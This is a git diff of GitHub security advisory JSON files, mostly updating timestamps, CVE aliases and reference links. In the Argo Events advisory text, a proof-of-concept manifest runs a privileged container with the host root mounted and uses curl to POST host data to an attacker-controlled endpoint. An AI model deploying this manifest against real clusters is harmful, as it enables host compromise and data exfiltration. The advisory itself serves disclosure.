diff --git a/advisories/github-reviewed/2022/07/GHSA-cj88-88mr-972w/GHSA-cj88-88mr-972w.json b/advisories/github-reviewed/2022/07/GHSA-cj88-88mr-972w/GHSA-cj88-88mr-972w.json
index c1e4ce37bcf..6bd81e3fbb7 100644
--- a/advisories/github-reviewed/2022/07/GHSA-cj88-88mr-972w/GHSA-cj88-88mr-972w.json
+++ b/advisories/github-reviewed/2022/07/GHSA-cj88-88mr-972w/GHSA-cj88-88mr-972w.json
@@ -1,7 +1,7 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-cj88-88mr-972w",
-  "modified": "2023-01-06T03:13:53Z",
+  "modified": "2025-04-14T22:13:25Z",
   "published": "2022-07-18T17:03:23Z",
   "aliases": [
     "CVE-2021-35065"
@@ -67,6 +67,10 @@
       "type": "WEB",
       "url": "https://github.com/gulpjs/glob-parent/releases/tag/v6.0.1"
     },
+    {
+      "type": "WEB",
+      "url": "https://security.netapp.com/advisory/ntap-20230214-0010"
+    },
     {
       "type": "WEB",
       "url": "https://security.snyk.io/vuln/SNYK-JS-GLOBPARENT-1314294"
diff --git a/advisories/github-reviewed/2022/12/GHSA-f8p3-q834-q9cj/GHSA-f8p3-q834-q9cj.json b/advisories/github-reviewed/2022/12/GHSA-f8p3-q834-q9cj/GHSA-f8p3-q834-q9cj.json
index 439d550db46..bbe6104cc33 100644
--- a/advisories/github-reviewed/2022/12/GHSA-f8p3-q834-q9cj/GHSA-f8p3-q834-q9cj.json
+++ b/advisories/github-reviewed/2022/12/GHSA-f8p3-q834-q9cj/GHSA-f8p3-q834-q9cj.json
@@ -1,7 +1,7 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-f8p3-q834-q9cj",
-  "modified": "2023-01-09T19:52:37Z",
+  "modified": "2025-04-14T22:13:01Z",
   "published": "2022-12-26T09:30:26Z",
   "aliases": [
     "CVE-2021-30134"
diff --git a/advisories/github-reviewed/2025/04/GHSA-472w-7w45-g3w5/GHSA-472w-7w45-g3w5.json b/advisories/github-reviewed/2025/04/GHSA-472w-7w45-g3w5/GHSA-472w-7w45-g3w5.json
index b5c2eeaa2ea..12bc26ff8bb 100644
--- a/advisories/github-reviewed/2025/04/GHSA-472w-7w45-g3w5/GHSA-472w-7w45-g3w5.json
+++ b/advisories/github-reviewed/2025/04/GHSA-472w-7w45-g3w5/GHSA-472w-7w45-g3w5.json
@@ -1,9 +1,11 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-472w-7w45-g3w5",
-  "modified": "2025-04-14T17:49:16Z",
+  "modified": "2025-04-14T22:13:34Z",
   "published": "2025-04-14T17:49:15Z",
-  "aliases": [],
+  "aliases": [
+    "CVE-2025-32439"
+  ],
   "summary": "Pleezer resource exhaustion through uncollected hook script processes",
   "details": "### Impact\nHook scripts in pleezer can be triggered by various events like track changes and playback state changes. In affected versions, these scripts were spawned without proper process cleanup, leaving zombie processes in the system's process table.\n\nEven during normal usage, every track change and playback event would leave behind zombie processes. This leads to inevitable resource exhaustion over time as the system's process table fills up, eventually preventing new processes from being created. The issue is exacerbated if events occur rapidly, whether through normal use (e.g., skipping through a playlist) or potential manipulation of the Deezer Connect protocol traffic.\n\nThis vulnerability affects all users who have configured hook scripts using the `--hook` option.\n\n### Patches\nThis issue has been fixed in version 0.16.0. Users should upgrade to this version, which properly manages child processes using asynchronous process handling and cleanup.\n\n### Workarounds\nUsers who cannot upgrade immediately can:\n- Disable hook scripts by removing the `--hook` option\n- Ensure hook scripts handle their own child process cleanup\n- Regularly restart pleezer to clear accumulated zombie processes\n\n### References\n- Initial report: https://github.com/roderickvd/pleezer/discussions/83#discussioncomment-12818199\n- Fix commit: 436a5f1e4c08989b58dbba2b0ffa423458016c2d\n- Fixed release: https://github.com/roderickvd/pleezer/releases/tag/v0.16.0",
   "severity": [
diff --git a/advisories/github-reviewed/2025/04/GHSA-hmp7-x699-cvhq/GHSA-hmp7-x699-cvhq.json b/advisories/github-reviewed/2025/04/GHSA-hmp7-x699-cvhq/GHSA-hmp7-x699-cvhq.json
index ae7e93fb99b..3fae74a1f59 100644
--- a/advisories/github-reviewed/2025/04/GHSA-hmp7-x699-cvhq/GHSA-hmp7-x699-cvhq.json
+++ b/advisories/github-reviewed/2025/04/GHSA-hmp7-x699-cvhq/GHSA-hmp7-x699-cvhq.json
@@ -1,9 +1,11 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-hmp7-x699-cvhq",
-  "modified": "2025-04-14T17:47:39Z",
+  "modified": "2025-04-14T22:13:46Z",
   "published": "2025-04-14T17:47:39Z",
-  "aliases": [],
+  "aliases": [
+    "CVE-2025-32445"
+  ],
   "summary": "Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR ",
   "details": "### Summary:\n\nA user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.\n\n### Details:\n\nThe `EventSource` and `Sensor` CRs allow the corresponding orchestrated pod to be customized with `spec.template` and `spec.template.container` (with type `k8s.io/api/core/v1.Container`), thus, any specification under `container` such as `command`, `args`, `securityContext `, `volumeMount` can be specified, and applied to the EventSource or Sensor pod due to the code logic below.\n\n```golang\n    if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil {\n        if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil {\n            return nil, err\n        }\n    }\n```\n\nWith these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under `template`.\n\nHere is an example that demonstrates the vulnerability.\n\n```\napiVersion: argoproj.io/v1alpha1\nkind: EventSource\nmetadata:\n  name: poc-vulnerable-eventsource\nspec:\n  webhook:\n    security-test:\n      port: \"12000\"\n      endpoint: \"/webhook\"\n  template:\n    container:\n      image: ubuntu:latest\n      command: [\"/bin/bash\"]\n      args: [\n        \"-c\",\n        \"apt-get update && apt-get install -y curl && while true; do\n         rm -f /tmp/data;\n         echo '=== containerd socket ===' > /tmp/data 2>&1;\n         ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1;\n         echo '=== proof of host access ===' >> /tmp/data 2>&1;\n         cat /host/etc/hostname >> /tmp/data 2>&1;\n         curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/;\n         sleep 300;\n         done\"\n      ]\n      securityContext:\n        privileged: true\n        capabilities:\n          add: [\"SYS_ADMIN\"]\n      volumeMounts:\n        - name: host-root\n          mountPath: /host\n    volumes:\n      - name: host-root\n        hostPath:\n          path: /\n```\n\n### Impact:\n\n- Multi-tenant Clusters:\n  - Tenant isolation broken\n  - Non-admin users can gain host/cluster access\n  - Access to other tenants' data\n\n- Security Model Bypass:\n  - RBAC restrictions circumvented\n  - Pod Security Policies/Standards bypassed\n  - Host system compromised\n\n### Patches\n\nA [patch](https://github.com/argoproj/argo-events/pull/3528) for this vulnerability has been released in the following Argo Events version , which only limited properties under `spec.template.container` are allowed.\n\n`v1.9.6`\n\n### Credits\n\nThis vulnerability was found & reported by:\n\n@thevilledev\n\nThe Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.",
   "severity": [